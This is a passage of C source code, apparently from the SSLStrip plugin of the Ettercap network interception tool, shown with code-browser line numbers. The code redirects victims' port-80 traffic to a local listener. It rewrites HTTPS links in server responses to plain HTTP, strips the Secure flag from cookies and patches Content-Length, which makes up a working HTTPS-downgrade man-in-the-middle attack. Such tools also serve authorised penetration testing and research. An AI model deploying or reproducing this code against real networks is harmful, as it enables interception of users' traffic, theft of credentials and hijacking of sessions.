http_receive_from_server(char * ptr,size_t size,size_t nmemb,void * userdata)988 static u_int http_receive_from_server(char *ptr, size_t size, size_t nmemb, void *userdata)
989 {
990 struct http_connection *connection = (struct http_connection *)userdata;
991
992
993 if (connection->response->len == 0) {
994 //Initiailize buffer
995 SAFE_CALLOC(connection->response->html, 1, size*nmemb);
996 if (connection->response->html == NULL)
997 return 0;
998
999 memcpy(connection->response->html, ptr, size*nmemb);
1000 } else {
1001 char *b;
1002
1003 SAFE_CALLOC(b, 1, connection->response->len+(size*nmemb));
1004 BUG_IF(b == NULL);
1005
1006 memcpy(b, connection->response->html, connection->response->len);
1007 memcpy(b+connection->response->len, ptr, size*nmemb);
1008
1009 SAFE_FREE(connection->response->html);
1010 connection->response->html = b;
1011
1012 //SAFE_REALLOC(connection->response->html, connection->response->len + (size*nmemb));
1013 }
1014
1015 connection->response->len += (size*nmemb);
1016 //connection->response->html[connection->response->len] = '\0';
1017
1018
1019 return size*nmemb;
1020 }
1021
EC_THREAD_FUNC(http_child_thread)1022 EC_THREAD_FUNC(http_child_thread)
1023 {
1024 struct packet_object po;
1025 int ret_val;
1026 struct http_connection *connection;
1027
1028 connection = (struct http_connection *)args;
1029 ec_thread_init();
1030
1031 /* Get peer and set to non-blocking */
1032 if (http_sync_conn(connection) == -E_INVALID) {
1033 DEBUG_MSG("SSLStrip: Could not get peer!!");
1034 if (connection->fd != -1)
1035 close_socket(connection->fd);
1036 SAFE_FREE(connection->response);
1037 SAFE_FREE(connection->request);
1038 SAFE_FREE(connection);
1039 ec_thread_exit();
1040 }
1041
1042
1043 /* A fake SYN ACK for profiles */
1044 http_initialize_po(&po, NULL, 0);
1045 po.len = 64;
1046 po.L4.flags = (TH_SYN | TH_ACK);
1047 packet_disp_data(&po, po.DATA.data, po.DATA.len);
1048 http_parse_packet(connection, HTTP_SERVER, &po);
1049 http_initialize_po(&po, po.DATA.data, po.DATA.len);
1050
1051
1052 LOOP {
1053 http_initialize_po(&po, NULL, 0);
1054 ret_val = http_read(connection, &po);
1055 DEBUG_MSG("SSLStrip: Returned %d", ret_val);
1056 BREAK_ON_ERROR(ret_val, connection, po);
1057
1058 if (ret_val == E_SUCCESS) {
1059 /* Look in the https_links list and if the url matches, send to HTTPS server.
1060 Otherwise send to HTTP server */
1061 po.len = po.DATA.len;
1062 po.L4.flags |= TH_PSH;
1063
1064 /* NULL terminate buffer */
1065 po.DATA.data[po.DATA.len] = 0;
1066
1067 packet_destroy_object(&po);
1068 packet_disp_data(&po, po.DATA.data, po.DATA.len);
1069
1070 //DEBUG_MSG("SSLStrip: Calling parser for request");
1071 http_parse_packet(connection, HTTP_CLIENT, &po);
1072
1073 http_handle_request(connection, &po);
1074 }
1075
1076 }
1077
1078 return NULL;
1079
1080 }
1081
http_remove_https(struct http_connection * connection)1082 static void http_remove_https(struct http_connection *connection)
1083 {
1084 char *buf_cpy = connection->response->html;
1085 size_t https_len = strlen("https://");
1086 size_t http_len = strlen("http://");
1087 struct https_link *l, *link;
1088 size_t offset = 0;
1089 int rc;
1090 int ovector[30];
1091 char changed = 0;
1092 char *new_html, *url;
1093 size_t new_size = 0;
1094 size_t size = connection->response->len;
1095 int url_len, match_start, match_end = 0;
1096
1097 if(!buf_cpy)
1098 return;
1099
1100 SAFE_CALLOC(new_html, 1, connection->response->len);
1101 BUG_IF(new_html==NULL);
1102
1103 while(offset < size && (rc = pcre_exec(https_url_pcre, NULL, buf_cpy, size, offset, 0, ovector, 30)) > 0) {
1104 match_start = ovector[0];
1105 match_end = ovector[1];
1106
1107 /* copy 1:1 up to match */
1108 memcpy(new_html + new_size, buf_cpy + offset, match_start - offset);
1109 new_size += match_start - offset;
1110
1111 /* extract URL w/o https:// */
1112 url_len = match_end - match_start - https_len;
1113 url = strndup(buf_cpy + match_start + https_len, url_len);
1114
1115 if(url == NULL)
1116 {
1117 USER_MSG("SSLStrip: http_remove_https: url is NULL\n");
1118 return;
1119 }
1120
1121 /* copy "http://" */
1122 memcpy(new_html + new_size, "http://", http_len);
1123 new_size += http_len;
1124
1125 /* append URL */
1126 memcpy(new_html + new_size, url, url_len);
1127 new_size += url_len;
1128
1129 /* set new offset for next round */
1130 offset = match_end;
1131
1132 //Add URL to list
1133
1134 char found = 0;
1135 LIST_LOCK;
1136 LIST_FOREACH(link, &https_links, next) {
1137 if(!strcmp(link->url, url)) {
1138 found=1;
1139 break;
1140 }
1141 }
1142
1143 LIST_UNLOCK;
1144
1145 if(!found) {
1146 SAFE_CALLOC(l, 1, sizeof(struct https_link));
1147 BUG_IF(l==NULL);
1148
1149 SAFE_CALLOC(l->url, 1, 1 + url_len);
1150 BUG_IF(l->url==NULL);
1151 memcpy(l->url, url, url_len);
1152 Decode_Url((u_char *)l->url);
1153 l->last_used = time(NULL);
1154 DEBUG_MSG("SSLStrip: Inserting %s to HTTPS List", l->url);
1155 LIST_INSERT_HEAD(&https_links, l, next);
1156 }
1157
1158 SAFE_FREE(url);
1159
1160 if (!changed)
1161 changed=1;
1162 }
1163
1164
1165 if (changed) {
1166 //Copy rest of data (if any)
1167 memcpy(new_html + new_size, buf_cpy + offset, size - offset);
1168 new_size += size - offset;
1169
1170 /* replace response */
1171 SAFE_FREE(connection->response->html);
1172 connection->response->html = new_html;
1173 connection->response->len = new_size;
1174 } else {
1175 /* Thanks but we don't need it */
1176 SAFE_FREE(new_html);
1177 }
1178
1179 /* Iterate through all http_request and remove any that have not been used lately */
1180 struct https_link *link_tmp;
1181 time_t now = time(NULL);
1182
1183 LIST_LOCK;
1184
1185 LIST_FOREACH_SAFE(l, &https_links, next, link_tmp) {
1186 if(now - l->last_used >= REQUEST_TIMEOUT) {
1187 LIST_REMOVE(l, next);
1188 SAFE_FREE(l);
1189 }
1190 }
1191
1192 LIST_UNLOCK;
1193
1194 }
1195
http_parse_packet(struct http_connection * connection,int direction,struct packet_object * po)1196 static void http_parse_packet(struct http_connection *connection, int direction, struct packet_object *po)
1197 {
1198 FUNC_DECODER_PTR(start_decoder);
1199 int len;
1200
1201 memcpy(&po->L3.src, &connection->ip[direction], sizeof(struct ip_addr));
1202 memcpy(&po->L3.dst, &connection->ip[!direction], sizeof(struct ip_addr));
1203
1204 po->L4.src = connection->port[direction];
1205 po->L4.dst = connection->port[!direction];
1206
1207 po->flags |= PO_FROMSSLSTRIP;
1208 /* get time */
1209 gettimeofday(&po->ts, NULL);
1210
1211 switch(ip_addr_is_local(&PACKET->L3.src, NULL)) {
1212 case E_SUCCESS:
1213 PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL);
1214 PACKET->PASSIVE.flags |= FP_HOST_LOCAL;
1215 break;
1216 case -E_NOTFOUND:
1217 PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL;
1218 PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL;
1219 break;
1220 case -E_INVALID:
1221 PACKET->PASSIVE.flags = FP_UNKNOWN;
1222 break;
1223 }
1224
1225 /* let's start fromt he last stage of decoder chain */
1226
1227 //DEBUG_MSG("SSLStrip: Parsing %s", po->DATA.data);
1228 start_decoder = get_decoder(APP_LAYER, PL_DEFAULT);
1229 start_decoder(po->DATA.data, po->DATA.len, &len, po);
1230 }
1231
http_initialize_po(struct packet_object * po,u_char * p_data,size_t len)1232 static void http_initialize_po(struct packet_object *po, u_char *p_data, size_t len)
1233 {
1234 /*
1235 * Allocate the data buffer and initialize
1236 * fake headers. Headers len is set to 0.
1237 * XXX - Be sure to not modify these len.
1238 */
1239
1240
1241 memset(po, 0, sizeof(struct packet_object));
1242
1243 if (p_data == NULL) {
1244 SAFE_FREE(po->DATA.data);
1245 SAFE_CALLOC(po->DATA.data, 1, HTTP_MAX);
1246 po->DATA.len = HTTP_MAX;
1247 BUG_IF(po->DATA.data==NULL);
1248 } else {
1249 SAFE_FREE(po->DATA.data);
1250 po->DATA.data = p_data;
1251 po->DATA.len = len;
1252 }
1253
1254 po->L2.header = po->DATA.data;
1255 po->L3.header = po->DATA.data;
1256 po->L3.options = po->DATA.data;
1257 po->L4.header = po->DATA.data;
1258 po->L4.options = po->DATA.data;
1259 po->fwd_packet = po->DATA.data;
1260 po->packet = po->DATA.data;
1261
1262 po->L3.proto = htons(LL_TYPE_IP);
1263 po->L3.ttl = 64;
1264 po->L4.proto = NL_TYPE_TCP;
1265
1266 }
1267 /* main HTTP listen thread, this will accept connections
1268 * destined to port 80 */
1269
http_bind_wrapper(void)1270 static int http_bind_wrapper(void)
1271 {
1272 bind_port = EC_MAGIC_16;
1273 struct sockaddr_in sa_in;
1274 #ifdef WITH_IPV6
1275 struct sockaddr_in6 sa_in6;
1276 int optval = 1;
1277 #endif
1278
1279 ec_thread_init();
1280
1281 DEBUG_MSG("http_listen_thread: initialized and ready");
1282
1283 main_fd = socket(AF_INET, SOCK_STREAM, 0);
1284 if (main_fd == -1) { /* oops, unable to create socket */
1285 DEBUG_MSG("Unable to create socket() for HTTP...");
1286 return -E_FATAL;
1287 }
1288 memset(&sa_in, 0, sizeof(sa_in));
1289 sa_in.sin_family = AF_INET;
1290 sa_in.sin_addr.s_addr = INADDR_ANY;
1291
1292 do {
1293 bind_port++;
1294 sa_in.sin_port = htons(bind_port);
1295 } while (bind(main_fd, (struct sockaddr *)&sa_in, sizeof(sa_in)) != 0);
1296
1297 if(listen(main_fd, 100) == -1) {
1298 DEBUG_MSG("SSLStrip plugin: unable to listen() on socket");
1299 return -E_FATAL;
1300 }
1301
1302 #ifdef WITH_IPV6
1303 /* create & bind IPv6 socket on the same port */
1304 main_fd6 = socket(AF_INET6, SOCK_STREAM, 0);
1305 if (main_fd6 == -1) { /* unable to create socket */
1306 DEBUG_MSG("SSLStrip: Unable to create socket() for HTTP over IPv6: %s.",
1307 strerror(errno));
1308 return -E_FATAL;
1309 }
1310 memset(&sa_in6, 0, sizeof(sa_in6));
1311 sa_in6.sin6_family = AF_INET6;
1312 sa_in6.sin6_addr = in6addr_any;
1313 sa_in6.sin6_port = htons(bind_port);
1314
1315 /* we only listen on v6 as we use dedicated sockets per AF */
1316 if (setsockopt(main_fd6, IPPROTO_IPV6, IPV6_V6ONLY,
1317 &optval, sizeof(optval)) == -1) {
1318 DEBUG_MSG("SSLStrip: Unable to set IPv6 socket to IPv6 only: %s.",
1319 strerror(errno));
1320 return -E_FATAL;
1321 }
1322
1323 /* bind to IPv6 on the same port as the IPv4 socket */
1324 if (bind(main_fd6, (struct sockaddr *)&sa_in6, sizeof(sa_in6)) == -1) {
1325 DEBUG_MSG("SSLStrip: Unable to bind() IPv6 socket to port %d: %s.",
1326 bind_port, strerror(errno));
1327 return -E_FATAL;
1328 }
1329
1330 /* finally set socket into listen state */
1331 if (listen(main_fd6, 100) == -1) {
1332 DEBUG_MSG("SSLStrip: Unable to listen() on IPv6 socket: %s.",
1333 strerror(errno));
1334 return -E_FATAL;
1335 }
1336 #else
1337 /* properly init fd even when not used - necessary for select call */
1338 main_fd6 = 0;
1339 #endif
1340
1341 USER_MSG("SSLStrip plugin: bind 80 on %d\n", bind_port);
1342
1343 if (ec_redirect(EC_REDIR_ACTION_INSERT, "http", EC_REDIR_PROTO_IPV4,
1344 NULL, 80, bind_port) != E_SUCCESS)
1345 return -E_FATAL;
1346
1347 #ifdef WITH_IPV6
1348 if (ec_redirect(EC_REDIR_ACTION_INSERT, "http", EC_REDIR_PROTO_IPV6,
1349 NULL, 80, bind_port) != E_SUCCESS)
1350 return -E_FATAL;
1351 #endif
1352
1353 return E_SUCCESS;
1354
1355 }
1356
http_wipe_connection(struct http_connection * connection)1357 static void http_wipe_connection(struct http_connection *connection)
1358 {
1359 DEBUG_MSG("SSLStrip: http_wipe_connection");
1360 close_socket(connection->fd);
1361
1362 SAFE_FREE(connection->response->html);
1363 SAFE_FREE(connection->request->payload);
1364 SAFE_FREE(connection->request->url);
1365 SAFE_FREE(connection->request);
1366 SAFE_FREE(connection->response);
1367 SAFE_FREE(connection);
1368 }
1369
http_remove_header(char * header,struct http_connection * connection)1370 void http_remove_header(char *header, struct http_connection *connection) {
1371 DEBUG_MSG("SSLStrip: http_remove_header");
1372 if (strstr(connection->response->html, header)) {
1373 char *r = strdup(connection->response->html);
1374 size_t len = strlen(connection->response->html);
1375
1376 if(r == NULL)
1377 {
1378 USER_MSG("SSLStrip: http_remove_header: r is NULL\n");
1379 return;
1380 }
1381
1382 char *b = strstr(r, header);
1383 char *end = strstr(b, "\r\n");
1384 end += 2;
1385
1386 int header_length = end - b;
1387 len -= header_length;
1388
1389 int start = b - r;
1390 char *remaining = strdup(end);
1391 BUG_IF(remaining==NULL);
1392
1393 memcpy(r+start, remaining, strlen(remaining));
1394 SAFE_FREE(connection->response->html);
1395
1396 connection->response->html = strndup(r, len);
1397 if(connection->response->html == NULL)
1398 {
1399 USER_MSG("SSLStrip: http_remove_header: connection->response->html is NULL\n");
1400 return;
1401 }
1402
1403 connection->response->len = len;
1404
1405 SAFE_FREE(remaining);
1406 SAFE_FREE(r);
1407 }
1408 }
1409
http_remove_secure_from_cookie(struct http_connection * connection)1410 void http_remove_secure_from_cookie(struct http_connection *connection) {
1411 if (!strstr(connection->response->html, "Set-Cookie")) {
1412 return;
1413 }
1414
1415 size_t newlen = 0;
1416 size_t pos = 0;
1417 char *buf_cpy = connection->response->html;
1418 char *new_html;
1419
1420 SAFE_CALLOC(new_html, 1, connection->response->len);
1421 char changed = 0;
1422
1423 regmatch_t match[4];
1424
1425 while(!regexec(&find_cookie_re, buf_cpy, 4, match, REG_NOTBOL)) {
1426 memcpy(new_html+newlen, buf_cpy, match[1].rm_eo);
1427 newlen += match[1].rm_eo;
1428
1429 memcpy(new_html+newlen, buf_cpy+match[3].rm_so, match[3].rm_eo - match[3].rm_so);
1430 newlen += match[3].rm_eo - match[3].rm_so;
1431
1432 buf_cpy += match[0].rm_eo-2;
1433 pos += match[0].rm_eo-2;
1434 changed=1;
1435 }
1436
1437 if (changed) {
1438 memcpy(new_html+newlen, buf_cpy, connection->response->len - pos);
1439 newlen += connection->response->len - pos;
1440
1441 SAFE_FREE(connection->response->html);
1442
1443 connection->response->html = new_html;
1444 connection->response->len = newlen;
1445 } else {
1446 SAFE_FREE(new_html);
1447 }
1448 }
1449
http_update_content_length(struct http_connection * connection)1450 void http_update_content_length(struct http_connection *connection) {
1451 if (strstr(connection->response->html, "Content-Length: ")) {
1452 char *buf = connection->response->html;
1453 char *content_length = strstr(connection->response->html, "Content-Length:");
1454 content_length += strlen("Content-Length: ");
1455
1456 char c_length[20];
1457 memset(&c_length, '\0', 20);
1458 snprintf(c_length, 20, "%lu", connection->response->len - (strstr(buf, "\r\n\r\n") + 4 - buf));
1459
1460 memcpy(buf+(content_length-buf), c_length, strlen(c_length));
1461 }
1462 }
1463
1464 // vim:ts=3:expandtab
1465